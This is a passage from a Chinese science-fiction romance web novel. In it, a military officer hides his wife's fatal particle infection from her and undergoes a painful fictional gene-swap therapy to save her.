更要命的是,阅读的人一旦知道自己“被连接了脑际传感”,那么已经活跃于神经系统的高能粒子会不顾一切杀了那个人。
看安秀的反应,高能粒子的数量已经很多了,情况到了相当危险的程度。
绝对,不能让她知道这件事。
“我中了慢性毒?”第二天,按照约定来到治疗室的安秀翻看军医的报告,一脸不可置信,“就因为那场爆炸?”
军医迈尔西以专业严谨的口吻回答道:“是的,夫人。我们检验了在场的爆炸残留物,分析出开托孟斯和费里昂那两种物质,爆炸瞬间产生的温度足以催化它们反应,形成一种慢性毒,是利用人幸存后警惕心下降的常见手段。”
“有道理,毕竟爆炸这种老土的刺杀方式,还是需要留后手增加刺杀率的,”安秀丝滑地接受了这个设定,继续问道,“那我现在的情况还好吗?”
“您最近几天是不是有经常头晕、轻微反胃的情况?”
“是的,这也是慢性毒的症状?”
“对,您的症状不是很严重。不过慢性毒排出的速度很慢,如果住院期间没有把毒素排干净,任由它在体内循环的话会埋下隐患。所以军医组为您安排了保底一个月的治疗。”
“一个月,”安秀放下了检查报告,“这也太久了吧?”
她还想跟米莉约好了去投资活动,物色将来的事业。这一个月过去,不知道会浪费多少机会。
迈尔西硬着头皮解释道:“开托孟斯和费里昂那都是最近几年新开发的物质,组成的慢性毒成分非常顽固,且有概率增生,希望夫人配合。”
安秀看着眼前的年轻军医,安抚地笑了笑:“你别紧张,我只是有点惊讶。总之配合你们就好了是吗?”
“是的,感谢您的理解。”
迈尔西走出治疗室,外面是等候多时的凌宸。他们一言不发地穿过走廊,确保安秀没有听到的可能性后才开始对话。
“她的情况怎么样?”
“很不乐观。高能粒子已经占据了大脑了40%,这还是在她接触时间有限的情况
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下,”迈尔西调出一份高级机密档,上面是安秀的真实检查数据,“我们给她打了几针稳定剂,高能粒子暂时不会增生,但是......”
“但是什么?有话就说。”
“但是,目前医学界无法根治高能粒子,”迈尔西被他的眼神刺了一下,皱眉继续道,“它是不治之症,只能在感染前注射疫苗。”
“你是说,她要一辈子带着这个定时炸弹,一旦知道了真相就会死?”
迈尔西长叹一声,用军医式的最精简的语气纠正:“比这更严重。先不论副作用,目前已知的所有稳定性药物都无法战胜高能粒子的耐药性,高能粒子的数量或者突然变性活跃都会造成致命打击。最长存活记录不到五年。”
凌宸并无其它反应,跟平时一样稳重且冷静,只在听到存活期限的时候眯了眯眼。
“你们的治疗方案呢?”
“我们推荐保守治疗。只要病人不知道脑际传感的存在,谨慎使用最高端的稳定剂,预计可以将时间延长一半以上。”
凌宸将目光移开了,笔挺的站姿,让人联想到无风环境下的树。
从始至终,他没有展现过一分一毫的慌乱,甚至在性情中人的军医看来有些太过冷漠了,毕竟面临死亡的是他的妻子。
迈尔西感慨,这大概就是将族世家和普通人的差距,他要习惯。
“她之所以到这步境地,是因为我的疏忽,”凌宸沉着的开口,说出来的话却让迈尔西差点惊掉下巴,“我要启动通感疗法。”
“请您慎重考虑!”迈尔西也顾不上他们之间的等级差别了,有些激动地劝阻道,“通感疗法虽然已经有了成功案例,但是是极端激进的疗法,配合者会承担极大的痛苦!”
再怎么说,凌宸也是他的直属上司,要是把好好的直属上司治个半死,她们医疗组还有什么脸面见人?
“我意已决,”凌宸海一般深沉的眼睛,散发出不容置疑的威严光芒,“这是军令。”
他没必要对军医解释这么做的原因,这是命令。
“是,”迈尔西很快收起个人情绪,在房间内召唤出一张医用型虚拟屏,“那么现在我来简单介绍下通感疗法。”
“高能粒子实质上是一种人造异变的深渊粒子,主要分为E20和X33两种形态,我们主要讨论患者的E20形态。首先,正常深渊粒子会进行体内外双循环,而E20高能粒子会集中在脑部,其原理是识别并挤压正常粒子的生存空间、摧毁神经系统;其次还可以感染正常粒子,加快破坏进程。
“通感疗法是利用高能粒子的识别特性来治疗的方法,如果把患者临时‘变成另一个人’,高能粒子就识别不出来了。”
“具体该怎么操作?”
“我们需要一个知情的、和患者水平相当的有抗体的一型异能者,将异能者和患者的基因链临时互换,高能粒子将异能者识别为攻击对象,但无法形成致命伤害,就可以趁它们持续活跃的时候消灭它们。”
25.他是猫咪
迈尔西顿了顿,又说:“据我所知,一型异能者只有......”
“嗯。你看看我的异能等级够不够。”凌宸脱下军装外套,将一旁的检测器拿了起来。
说罢,他的头上冒出一对黑色蓝纹的豹耳,长出了同样花纹的拖到地面的尾巴。
异能者都会有兽化形态,据说是帝国上古时期人类与深渊兽基因融合的产物,用于对抗威胁到人类生存的深渊兽,然而发明它的人已经被遗忘在历史银河中。
一型异能者,最为稀有的一类,不是因为攻击性最强,而是因为她们拥有最高的粒子稳定性。
无论遇到什么外力,粒子都可以维持在安全范围内,永远不会失控。
因此,只有一型异能者才能对抗高能粒子的攻击,将感染范围控制在最小。
迈尔西用仪器测试完毕,惊叹道:“您注射过疫苗,而且等级和患者几乎持平,连强化剂都不用了。”
他并不惊讶凌宸注射过疫苗,惊讶的是他的等级。虽然他们没有直接提起过安秀的身份,但“红眼睛”在皇室的大肆宣传下,可是最危险、最不可控的存在,异能等级自然高到离谱。
红眼睛的男性除外,他们普遍美丽又孱弱。
凌宸作为高贵血统后代的等级果然没让人失望,名副其实的深渊宠儿。
“深渊宠儿”收起耳朵和尾巴,气定神闲地穿上军装外套,理了理袖子和衣领,不知从哪掏出一个净化剂喷了喷,外型变得更加无可挑剔。
他不觉得异能等级高有什么值得骄傲的地方,因为帝国的军舰体系不欢迎不稳定因素,太空战斗以普通人为主。哪怕他是一型异能者,为了避免非议,也在隐藏身份。
“我要在三天之内看到治疗流程的完整加密档。”他扔下这句话,走了出去。
此时此刻,安秀正在阅读《帝国风云》近期的投资热点。她刚刚联系到该领域的一位资深顾问,正在她的推荐下选择未来想投资的领域。
与人类尖端科技有关的领域正值壮年期,是新手的首选,但是深渊粒子科技......
这时,有人敲门进来了。
“凌宸?”
治疗室设置了准入生物码验证,只有医疗人员和家属才可以入内,而除了凌宸,她没有别的合法家属。
“我来看看你。”凌宸扫视宽阔先进的治疗室,安秀正舒服地躺在洁白柔软的床铺上,复杂精密的治疗仪正安静运作,窗外郁郁葱葱的植物引入眼帘。
“我挺好的。”
她把目光重新放在《帝国风云》的投资栏目,过了两秒,反应过来似的倏然抬头看向凌宸,眼睛瞪得圆圆的。
凌宸正思考哪里出了问题,安秀用一种讶然且惊喜的语气说:“你......的头?还有身后那是?”
他平和的表情出现一丝裂缝,低头一看,自己的尾巴窜到了军靴前面,还在一晃一晃的。
凌宸轻咳一声,再度收起毛茸茸的东西:“抱歉。”
他已经太久没使用过异能,不知怎的把兽人特征露出来了。在帝国,只有某些特殊的高级场合才准许异能者兽化,在其它时候则被视为野蛮的行为。
凌宸不动声色地收起了它们。
“不用道歉,我没那么迂腐,你的兽化挺好看的。”虽然听上去像客套,但这是安秀的真心之言。她私下比较喜欢猫科动物。
当然,她不会让凌宸知道她的小心思。
她随口问道:“你怎么突然兽化了,刚刚有需要用到异能的地方吗?”
“这不是你有必要知道的东西。”凌宸也像之前无数次那样拒绝了她的试探,走上前问:“你在看什么?”
“我在看怎么合理安排我的钱。”安秀也不瞒着,大大方方把杂志给他看。
这个动作,也是试探。
安秀认为,一旦她开始了自己的事业,就意味着彻底经济独立,脱离掌控。到那时候,配不配合凌宸的事业,就不是凌宸说的算了。
他会不会气急败坏地阻止呢?
然而凌宸想的完全是另一回事。
如果安秀有了自己的事业,在这次的事情结束后,她就可以做到更多事情,价值也更大。
他希望她可以变得更强一点,至少强到与自己平齐,凌家才能走得更远。
因此,他点了点头:“挺好的。不过这本咨询只适合新手看,建议你投代号JZ2397的军资产业,跟深渊粒子科技有关。”
安秀的眉毛优雅地撇起,有些苦恼地摇了摇头,被凌宸看在眼里。
“我不是没想过,毕竟你的提案得到了克诺洛斯的支持,”这是她身为军官家属得到的第一手情报,“可是,我觉得最好先买几个壮年期的产业找找手感,稳健一点。”
“你的决策没有问题。”
“对了,那个名单怎么样了?”
话题被安秀猝然一转,他的内心一震,但表情纹丝不动。
“名单正在解析中,她们大概也没料到你能活着拿到这份名单。”
“虽然付出了一点代价,但这也值得,不是吗?”安秀直视他的眼睛,利落地表态,“等过完这一阵,我不会主动帮你忙军部那些事了,我有自己的事业要做。”
凌宸不置可否,作为夫妻,她们的利益早就无法分开了。
“我走了,你先休息。”
“等等,”安秀指了指头顶,“记得把你的耳朵收起来,刚刚我皱眉的时候,它们又冒出来了。”
所以,她刚才明明看见了他的耳朵,却不第一时间提醒?
凌宸在她看不见的地方皱了皱眉,离开了治疗室。
三天后。
“长官,我还是劝您三思,”军医组的迈尔达语重心长地劝阻道,“我比迈尔西更了解通感疗法的危险,作为被试验的异能者,无论是抽取基因链,还是被高能粒子攻击,都会承受难以想象的痛苦。”
迈尔达是迈尔西的姐姐,主要负责的方向是深渊医疗,对通感疗法的研究更深刻,被迈尔西
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推荐为组长。
“安秀被抽取基因链的时候也会痛苦吗?”凌宸对迈尔达和身后一众军医的劝阻置若罔闻,问道。
“如果用最高效还原的方式提取,她会跟您承受同样的痛苦。”
“用更温和的方式,例如血凝。不然会引起她的疑心。”凌宸已经在极短的时间内浏览了治疗方案,对各种专业词汇烂熟于心。
“可是,”迈尔达溢出为难之色,“血凝方式对基因链的还原度不如原方案那么高,高能粒子误以为原主在垂死挣扎,会对您攻击得更加剧烈......”
凌宸看了眼时间,下令:“开始吧,别浪费时间。一共要抽五管,是吗?”
“是的,长官,因为有五个疗程。”
为了彻底消灭那些高能粒子,交换基因链治疗的疗程,一共有五次。
凌宸趴在治疗仪器上,无菌透明罩将他和外界隔开,身后无机质的长针对准了他的脊背,即将刺入。
他闭上了眼。
接受这样的治疗,包含了很多方面的考虑。
安秀作为他的合法妻子,虽然是偷跑出去拿的名单,但归根结底是因为他的疏忽。如果他一开始不引诱她接触危险的姐妹会,也不会发生这种事情。
这样一个时间点,假设安秀死了,那么消息很快会传到姐妹会的耳中,他的计划也就败露了。
强大的人应该保护自己的家人,这是母亲教给他的道理。出于家族继承人从小的责任感,出于良心,出于对计划的掌控欲,出于某种说不上来的情感......
他不会让悲剧发生。
狰狞的长针毫无征兆地刺进骨肉,凌宸的脸骤然变得惨白,嘴唇颤抖数秒,但一点声音都没有发出来。
人体最脆弱的脊椎,被冰冷的科技产物无情翻搅,像蛛丝一样蔓延开来的痛楚紧紧缠住了他。
在难以想象的痛苦中坚持了数分钟后,他的呼吸渐渐变得粗重。
“您可以随时按下旁边的暂停按钮。”迈尔达在一旁观测凌宸的数据,提醒道。
基因链提取不但不能用麻痹痛觉的药物,也不能随意停止,否则提取结果会作废。不过,为了符合医疗的人道主义标准,受试者可以随时按下手边的红色按钮。
要是发生了生命危险,观测医生也有停止的义务。
凌宸的手覆上红色按钮,但没有按下去。
他的大脑一片空白,只剩下呼吸的本能,眼前开始发黑。医用虚拟屏的数据开始上下起伏,进入了最艰难的阶段。
迈尔达冒出冷汗,这也是她第一次参与通感疗法,凌宸的身体数据直线下降,正在缓慢走向崩溃的边缘,而她必须掌握最后一道防线。
凌宸还是没按下那个按钮,甚至连痛苦的叫喊都没有。
一屋子医生的呼吸几乎凝滞,全神贯注地观察他的状态,随时准备强制暂停程序。
又过了不知多久,凌宸发黑的视线变得清晰了一点。他眼神涣散,呼吸带有一丝血腥味。
26.压缩老公
通感疗法第一阶段,已提取第一管基因链。
还剩下,四次。
第二次和第三次抽取很快开始,凌宸又感受到剧烈的疼痛,喉间溢出压抑的呻吟,身体和精神叫嚣着想要逃离。这回,他无法控制地握紧了拳头。
军医组长在此时展现了顶尖的专业素养,一边操控基因链的抽取过程,一边命令小组成员为凌宸注射缓解药物,将身体数据严格地维持在合格线以上5%左右。
一次性抽取五管基因链的原因,说起来很残酷。
由于是不带麻醉的抽取,一次性抽完要承受的痛觉,远超人体所能感受到的痛觉。比起分次收取,一次性抽取能感受到的痛苦反而更小。
第四次的时候,凌宸已经感觉不到痛了。
第五次,他的肌肉几乎麻木,手指都无法抬起,只剩下被药物维持的清醒意识。终止按钮链接了脑神经,他只需动一动意念,就可以停止这非人的折磨。
这对人类的意志力来说是近乎恶魔的考验,比□□上的忍耐更为艰难。
然而,除了偶尔的生理性抽动外,他从头到尾没有挣扎过,四肢束缚带承受的力度几乎为零。
医生们关闭透明罩,解开他的束缚带,为他擦拭布满触目惊心的针孔的身体时,无不在心中震撼。
这个年轻人的毅力,实在是太恐怖了。
在经过最先进治疗药物的修复后,凌宸脱离了生命危险,脸色依旧惨白。他坐起身子,好一段时间才找回自己的声音。
“成功了吗?”
“成功了,长官,很完美,”负责基因链制取的迈尔达顿了顿,问道,“您还可以吗?”
“按照正常计划行事,不要拖。”他拾起平日的冷漠和果决,缓缓闭上双眼。
按照计划,第二天,安秀收到了一管半透明淡蓝色的试剂,里面似乎还有复杂的花纹,很是好看。
她来回观察里面的花纹,好奇地问:“这是什么?”
迈尔西手握拳,干咳一声,很想说这是你的压缩老公,但把话硬生生咽了下去。
事情已经够疯狂了,他可不想断送自己刚刚开始的军医生涯。
“这是解决慢性毒的药剂之一,简略版资料已经发送到您的通讯器,简单来说,只要你吸收了这个药剂,就可以缓解症状。”
“我最近好些了,”她一直在研究事业相关的东西,无暇思考其它,“没有质疑你们的意思,不过,真的有必要这么大费周章吗?”
说罢,她指了指一旁建构好不久的大型医疗床,上面的仪器复杂到她根本无法想象的程度。
“我是不是病得很严重?”
这副架势,很难不让安秀多想。
迈尔西面对她疑惑的眼神,几乎要在心里上吊了。
深渊之神啊,为什么要让他解释这些,为什么整个医疗组只有他一个正常人?
迈尔达那个家伙,本来跟他站在同一战线的,可是自从昨天后变得异常坚定,甚至接受了凌宸今天就开启第一次治疗的命令。
他能理解姐姐对医学的执着,可是作为一个才正式转岗的小军医,他更向往当个勤勤恳恳的背景板,而不是每天绞尽脑汁对病人说谎!
迈尔西的脸几乎化成石雕,还是古地球只能看清面部阴影的那种:“从症状上来讲,并不严重,但是想要排除,治疗程序会比较麻烦,分为五个阶段......”
他解释完,安秀若有所思道:“也就是说,我每次都要到那个床上,吸收这管药剂,然后再躺一阵是吗?”
“您的理解分毫不差,”迈尔西又递过来一片虚拟屏,“可以看看这个。”
为了编这个慌,他够尽职尽责了。
“这种‘治疗’有点熟悉。”安秀看完,周身的气息似乎变了,眼底闪烁红光。
“您是指?”迈尔西警铃大作。他有些后悔下那么多功夫编理论了。
“没什么,只是想起了在皇室的经历,”安秀对他笑了笑,接着话锋锐利一转。
“你们在骗我吧?”
迈尔西的背后直冒冷汗。
“当然没有,我们是医生,有最基本的职业道德。”
他暗道凌长官的耳提面命果然有道理,她实在是太不好糊弄了,究竟是怎么看出来的?
他在内心祈祷有个人来救场,好巧不巧,凌宸的声音传了过来。
“今天就要开始第一次治疗了,情况如何?”
迈尔西赶忙将求助的眼神投向他:谢天谢地,你的老婆你来搞定吧。
凌宸收到他的眼神,连眼睛都没有眨一下,打了个手势示意他出去,迈尔西欢天喜地地离开了现场。
“凌宸,你就不要骗我了,实话告诉我,到底是怎么回事?”安秀目送迈尔西离开后,开门见山道。
“什么怎么回事?”凌宸平静地回望她,蓝色的眼眸如海一样深沉。
安秀“啪”地把虚拟屏上的疗程扔在他面前,语气十分不善:“我根本就没有得什么慢性毒吧,你是不是在瞒着我,想要拿我做实验?”
凌宸挑了挑眉,没有回答。
安秀的眼神愈发低暗,压抑在心底的愤怒:“这种试验来源于皇室,你以为我不知道,其实我经历过。我到现在还记得那张床。”
当时的她还年幼,但偶然的一次,她躲开了遗忘剂的注射。她不明白皇室要对她干什么,只记得钻心的疼,无论怎么反抗都没有用。
看过迈尔西的虚拟屏后,她终于确定了,这张床,跟皇室的那张一模一样。
这么多年了,她不难猜出皇室的意图,无非就是想得到她的异能而已。
这是对她来说,不为人知的,最痛苦的过往。
确认的那一刻,她的心里有什么变质了,凌宸的形象悄然崩塌。
“原来,你跟那些贪婪的人,没有任何区别。”
凌宸的嘴角抽动了一下,垂下眼睛,晶莹的蓝色闪烁。片刻后,他又像没事一样地抬起眼,牵起嘴角:“你可能是误会了什么,夫人。”<
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p>冰冷的机械床一遍又一遍闪回在脑海,她的身体在微微颤抖,有千言万语压抑在胸口,最终汇聚成一句话。
“那时的经历,让我很痛苦。”
凌宸见状起身,扶住她微颤的肩膀,拍打她的后背:“我保证,这次的治疗不会让你痛苦。正如医生所说,你得了慢性毒,只是症状不是很明显。”
“我凭什么信你?”她指了指他,又指了指一边的床,“就凭这个床的精密程度,和你过来看我的频率,我凭什么信你?就算真的是所谓的慢性毒,也比你们说的严重很多吧?
“别以为我没发现,这两天来来往往的医生多得数不过来,检查完头检查身体,抽血抽个不停,还一直给我打莫名其妙的药,这真的是慢性毒能做到的程度吗?凌宸,如果你是我,面对这么多如临大敌的医生,你能做到心情平静吗?”
一口气说完这些话,安秀深吸一口气,拨开他的手,很快调整好状态,让自己看上去不是那么懦弱。
她说:“我只是需要一个解释,我觉得我的精神,还没有脆弱到无法接受坏消息的程度。”
凌宸默默听完这些话,心中激烈地权衡,面对她的眼神,做出了一个冒险的决定。
他微微颔首,严肃地说:“情况,确实要比我们说的严重一点。”
闻言,安秀终于坐下来,换成一副认真沟通的态度:“你说,我听着。”
于是,凌宸开始了长达几分钟的个人演说。
“你感染的慢性毒,确实是开托孟斯和费里昂那的融合产物,但是感染它的后果十分严重。迈尔西应该和你说过,这两种药物是近几年研发的产品,不过它们还有别的身份,就是专门用于政治刺杀的毒药。
“刺杀的对象通常位高权重,为了降低她们的警惕,发明者将毒发症状隐藏为头晕等轻微症状,并在毒素累积后爆发。中毒身亡者皮肉溃烂、七窍流血,在极端痛苦中死去。”
“......没有治疗的方法吗?”
“目前,这种毒药没有特效药,只能预防或者缓慢排出,且排出的量必须大于增生的量,来往的医生正是在测量这个。”
“我有多大概率会死?”
“概率挺大的。”
讽刺的是,他这回说的是真话。
安秀沉默了好一阵,不是很舒服地抿起了嘴,嘀咕了几句话。
“你说什么?”凌宸把脑袋凑近。
“那她们刺杀我有什么用?”
“商会那天,有些势力趁乱刺杀高官未遂,你是被牵连的那一个。目前的推测是姐妹会在幕后掌控了一切。因为被刺杀的对象,全都是她们的敌对势力。”
“你说的是真的?”安秀暂时找不到这段话的逻辑漏洞,当然,她不知道凌宸早就为这种情况安排好了腹稿。
“你觉得我看上去像会说谎的人吗?”凌宸的面部肌肉很放松,哪怕被安秀一直盯着看,也没有露出半点不对劲,“我没有欺骗你的必要,如果我真的想那么做,早对你就下手了。”
27.向下自由
“所以我真的快死了?”
凌宸的表情没什么变化,只是重复道:“对。”
被高能粒子锁定后,那段时间的经历无法用遗忘剂抹除,反而会在高能粒子的刺激下越来越清晰,所以患者最长活不过五年。
高能粒子一旦发作,安秀会在极短的时间内爆体而亡。
“好吧,”听完这个噩耗的安秀并没有他想象的那么崩溃,“那我是不是应该提前留句遗言?”
在凌宸看来,有他在,安秀就不会死。不过他很好奇她会说出什么遗言。
“你说好了,”凌宸正襟危坐,“但是你放心,我们会全力医治你。”
“谢谢,”安秀感激地看了他一眼,“你知道,我的身份很特殊,从小到大都没有见过家人。如果我死了,希望你能找到我的弟弟,把他赎回来。”
“你怎么知道你有个弟弟?”凌宸虽然没有刻意了解过她家族的事,但多少听闻过皇室对红眼睛家族的镇压式管理,其中一条就是“不能相互见面”。
在他看来,荒谬至极。
当然,作为以服务皇室为荣的军部成员,他不可能直接把这种观点表达出来。
“其实我的家人不止这一个,”安秀顿了顿,还是没把自己有个姐姐的事情说出来,“但我的弟弟......是我遇见的第一个。他的眼睛又大又漂亮,脸小小的,皮肤很白,嘴唇是粉色的。你要是见过了一定会记得。当时在商会,他穿着白色的衬衫,应该是某个高级宾客的侍从。他过得不是很好,我担心他。”
凌宸作沉思状,安秀拿来一块虚拟屏,上面是她命令智能系统捏造出来的男侍的脸。
“你看看,大概能还原八成左右,他比这上面的还好看,”说完,她叹了口气,“他太可怜了。”
“我见过他。”
安秀听到这话,眼神像活了过来一样,惊喜道:“真的?”
凌宸移开了视线,欲言又止,有点担心她事后找人。
安秀见他很为难,内心有些焦急:“你说呀,是在哪看到他的,是商会对不对?”
“你为什么这么在乎他?”凌宸犀利反问道,“在这之前,你们都没见过面,他也不认识你,你又怎么保证他把你当做家人呢?说不定,他更喜欢做某个大人物的侍从,至少不用像你一样,连出个门都要小心被别人注意。”
这番话不得不说很刺耳,但也是真话,安秀被问住了。
她缓缓转开脸颊,过了几秒,低声地、一字一顿道:“我为什么要假设他很开心呢?”
“......”
“没有人比我们更懂处于边缘的痛苦。如果有选择,我不想嫁给任何人,包括你。”
凌宸的呼吸一窒。
“你以为他有了在光明下行走的权利,但这是他出卖了人权换来的。他可能因此获得了一时的宠爱和快乐,却不是他选择的人生,是别人让他选择的——当他还没有判断能力的时候。再说了,我见到他时,他被淋了一身酒水,可怜兮兮的。”
安秀深吸一口气,因为意识了自己可能在不久后的将来永远离开,难得地打开了话匣,这是凌宸第一次听到她的肺腑之言。
“就连我也是。我的人生从一开始就被别人指点好了,那些人给出有限的选择,并告诉我这是自由,然而我发现这根本不是自由。为什么我不能像你一样,自行选择想要承担的责任呢?”
“我明白了,”凌宸简短明确地回应,“我会帮你找到他的。”
“听我说了这么多,你就没有什么想说的吗?”安秀自嘲地笑了笑,“这可能使我们最后一次交流的机会了。”
“我有很多想说的,安秀,”凌宸不再叫她夫人,而是直呼她的名字,“作为这个体制的收益者,我没有资格指点你的思想......
他停了一秒,又说:“不过我知道,你的想法很正常。”
“正常?”
“这是一个正常人该有的想法。”
她们的对话终止于此,医生在约定好的时间进入了治疗室,凌宸出去了。
医生带着治疗面具,操控大型治疗床,滴滴答答的运作声和消毒剂的味道激活了她的回忆。
“我们即将开始第一次疗程的治疗。”
这回,安秀不再质疑她们的用意,十分配合地躺到了床上。医生把那管蓝色试剂放到凹槽中,算是完成了治疗前的最后一道程序。
她在透明罩里躺了一会,问:“什么时候开始?”
“还有两分钟,请稍等片刻。”医生指了指她左上方的针头道,“一准备好会为您注射医用昏睡剂,休息两个小时左右就好了。”
安秀庆幸治疗的过程还算轻松,跟她得的病完全不成正比。
是她误会凌宸和迈尔西了。
过了几分钟,她沉沉地睡了过去。蓝色试剂开始在透明罩中蒸腾,被特殊的医用触角分毫不落地送进了身体里。
而另一头的凌宸,正在经历痛苦万分的通感治疗。
医生的话通过脑际传感直接输送到脑内:“注意,你已经被高能粒子识别了,它们正在迅速汇集。”
凌宸此时拧紧了眉,身体发热,体内的异能被唤醒,显然对陌生粒子的侵入产生了排异反应。
人类在深渊世界生存了那么久,粒子早已变成除人体细胞外的独立系统,哪怕是没有异能的普通人,体内也会有粒子流动,更别提对粒子更为敏感的异能者。
迈尔达眼前的虚拟屏上光点汇聚,高能粒子无法识别到完全复刻了凌宸基因链的安秀,全部转移到了凌宸的身上。
“高能粒子要开始攻击了,治疗准备。”
一阵剧烈的耳鸣袭来,声音大到几乎震碎他的大脑,胃部翻江倒海,是安秀症状的十倍以上。
“唔嗯......”凌宸发出闷闷的呻吟,汇聚全身粒子抵抗高能粒子的侵袭。拜异能所赐,他的粒子没有像别的异能者那样失控爆体。
一型异能的稳定性,让他像一艘在宇宙风暴中
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艰难行驶的黑隼战机,虽然在风暴的摧残下面临随时爆体的危险,但一直强撑着最后一口能量。
作为交换的,是经久不绝的痛——他不像其她异能者那样极快发作死亡,而是承受着万千毒蚁蚀肉的痛楚。
这是活着的代价。
“还有......多久?”他的嗓子像被磨砂纸狠狠磨过一遭,细细麻麻的血珠从喉管壁渗出。
“请坚持一下,已经过去了一分钟。”
凌宸没了声音,只是闭上眼睛,死死咬牙,开始不受控制地兽化,眼瞳竖成一条细线。
迈尔达的精神极度紧绷,一边对旁边的小组成员下令,一边掌控通感疗法的进程。
她正在利用最前沿的治疗技术,配合凌宸的异能消灭高能粒子。在这之前,她的研究只停留在理论,因此过程并不是非常顺利。高能粒子比她们想象的要顽固很多。
更坏的消息是,漫长的治疗才过去十分钟,高能粒子的形态就开始变化了,她们又要重新设置攻击矩阵。
这种变化源于安秀的基因链不稳固,被凌宸吸收后,高能粒子识别混乱,开始没有规律地胡乱攻击,全靠他的高阶一型异能硬生生阻挡下来。
“立即设置K77-8910arrow矩阵。”
迈尔达翻出自己的研究笔记,一目十行地阅览密密麻麻的字,体温在飞速运转的大脑下不断升高。
终于,在凌宸拼尽全力争取进攻时间的期间,她发现了突破高能粒子队形的矩阵。
她们开始反击,高能粒子受到攻击后低迷了约三分钟,可是按照原定计划,她们至少要消灭五分之一的高能粒子才算完成任务。所以,所有人都在屏息等待下一次机会。
凌宸咳出一口血,虚拟屏响起警报,高能粒子发起了更加激烈的攻击。
“这个矩阵不适用了!”小组成员大喊。
“那就换成K67。”
“也不行!高能粒子可以识别这个类别的矩阵了!”
“怎么办?”一名带着治疗面具的医生问迈尔达,“我们需要暂停吗?”
凌宸的兽耳已经死死贴在头皮上,甚至把头发都压了下去,可想而知正在承受巨大的痛苦。
迈尔达的面部露出一丝痛苦之色。她是唯一一个可以在治疗过程中下决定的人,也是唯一一个敢于实践通感疗法的医生。她现在做的每一个决定,都会被治疗室记录下来,只字不差地传递给后辈。
“尝试G987开头的矩阵,用多维辅助阵型包围它们。”
“这是您研究笔记里的草稿,这么做的风险......”
“开始。”迈尔达有自己的考虑。
医疗组安静地执行她的命令。
每个人的心里都清楚,如果这次不成功,那么通感疗法的第一个疗程就算失败了。无法完成五分之一的消灭率的话,凭高能粒子的增长数量和变化,根本无法被完全消除。
安秀的寿命或许可以延长,但难逃一死。
28.娘们国度
“杀了我......”凌宸再度呕出一口血,脸色灰白,“杀了我吧......”
众人皆是在心里一惊,难以想象一直毅力非凡的凌长官会说出这种话。
只有迈尔达率先反应过来,心情复杂。
“他已经进入了精神紊乱的状态,高能粒子不再攻击□□而是神经了,我们的矩阵是有效的。”
高能粒子秒杀级别的攻击,被凌宸的异能稀释为两个阶段。进入精神攻击代表高能粒子已经到了最活跃的状态,攻击力再度上升,同时防御下降。
凌宸的双眼已经无神,嘴唇颤抖着发出呓语:“杀了我、杀了我......”
心理承受能力弱的成员的眼眶都湿润了。他说:“我们不该这么折磨一个正常人。”
这句话沉沉地压在诸位医生的心上,除了迈尔达。
“高能粒子并未危及生命,我们应该继续治疗。”她下达指令,不顾被束缚在治疗椅上的人的痛苦神情,激活了攻击矩阵。
她承认她有些私心,但也十分确定做出了对患者情况最合适的决定:时机正确、理论正确,在绝对理性之前,多余的情感和情绪都不值一提。
高能粒子的攻击进入白热化,矩阵加入后产生了明显效果。
“高能粒子开始吞噬他的异能了!”
“加强矩阵,”迈尔达咬牙道,“我们要帮他撑过去。”
高能粒子似乎对这个矩阵很陌生,在重重包围下陷入了绝境,开始垂死挣扎。然而,矩阵的大部分能量被用作保护凌宸的原生粒子,分散了强度。
15.98%、16%、17.41%......
医生在一旁念着进度,她们离最低目标20%已经越来越近了。
凌宸突然睁开了眼,开始大口呼吸。他刚刚做了一个很长的梦,梦见所有在意的人在自己面前死去,而他无能为力。
简直是梦魇。
又过了不知多久,整个医疗室的空间似乎被扭曲了一瞬,各种仪器回到正常工作模式,这场无硝烟的战争宁歇了下来。
凌宸的胸前已被吐出来的血浸湿,过度发挥异能让他近乎力竭,好他在神志回笼,不再吐出呓语。医用智能体系统很快帮他清洗身体、打上补剂。
不出半个小时,医疗室被收拾到跟什么都没发生过一样的干净。
凌宸问:“消灭了多少?”
迈尔达欣慰于凌宸还能发出这么中气的声音,这离不开小组成员调配的补剂的功劳。她们虽然不如她熟悉通感疗法,但也在好好履行自己的职责。
“在最后一秒,达到了五分之一。”
闻言,医疗组的所有人鼓起了掌,凌宸也难得地露出浅浅的笑容。
“您要去干什么?”
迈尔达见他要站起来离开了,有些不放心。第一个疗程才刚刚结束,即便有补剂坐镇,病人的身体也不该承受太大负担。
“当然是上班。”
“......”
凌宸打了几针无副作用的超高级补剂,加上短暂的精神失序和人体自我防护机制,已经把刚才的治疗过程忘得差不多了。
他只记得梦见了一些伤心事,然而梦是不会发生的。
凌宸不想深究医生们如同生吞了石头的表情,这两天的治疗耽误了太多工作,还有一桌子文书要处理。
希望委员会的那群老头,没有发现他虚拟形象的端倪。
病人刚治疗完就精神奕奕地去工作了,迈尔达叹了口气,不知道该发表什么感想。
至少这么看来,治疗还算顺利。
“休息一下,下午复盘。”她闭上眼睛,挥了挥手,一帮情绪高昂的医生开始准备复盘工作了。
安秀舒服地睁开眼,她很久没有睡得那么好过了。
最近不知道怎么回事,精神总是很容易疲惫,大脑昏昏沉沉、容易忘事。好几次,她连来往医生的名字都记错了,换做以前可是过目不忘的。
这大概是毒药的原因,真希望自己不要变成傻子。
梦有个奇怪的地方。她梦见了很痛苦的凌宸,但什么事情能让他那么痛苦呢?兽耳都委屈地趴成那样了。
安秀在迈尔西的辅助下离开治疗床,伸了个懒腰,双手叉腰看着窗外。
“这些树的叶片怎么这么大?”她随口一问。
“因为这里的深渊粒子含量比较丰富,让它们在原有的品种上变异了,跟人类的兽化差不多。”迈尔西一边调制药剂,一边回答。
“哦,植物也会变异。”
“只要浓度足够大,连石头都变异。”
“我在皇家图书馆看过,”安秀转过头来,满脸期待地说,“真希望有一天能看到会跑路的石头,跟奇幻世界一样。”
“那恐怕不行了,”迈尔西似乎是这方面的专家,好为人师地科普道,“帝国目前处在深渊内环的星域很少,粒子浓度最高的星球都在共和国那。要不是艾尔维斯背叛我们......”
他谨慎地噤声,咳了几声:“咳,你当我没说。”
“艾尔维斯?”安秀惊讶地重复这个名词,“这原来是个人名吗?”
迈尔西一言不发地调好药剂出去了,留安秀一人疑惑在原地。
她喝下药剂,思索了一会,召唤出私人虚拟屏。
原本,医生和凌宸都建议她好好休息,可是好奇心一旦被调动,便久久不会消失。她不想让自己闲着。
皇室的私人教师曾教过她宇宙史,一笔带过了共和国的成立者和成立原因。一直到现在,她对共和国的认知,也只停留在道听途说而已。
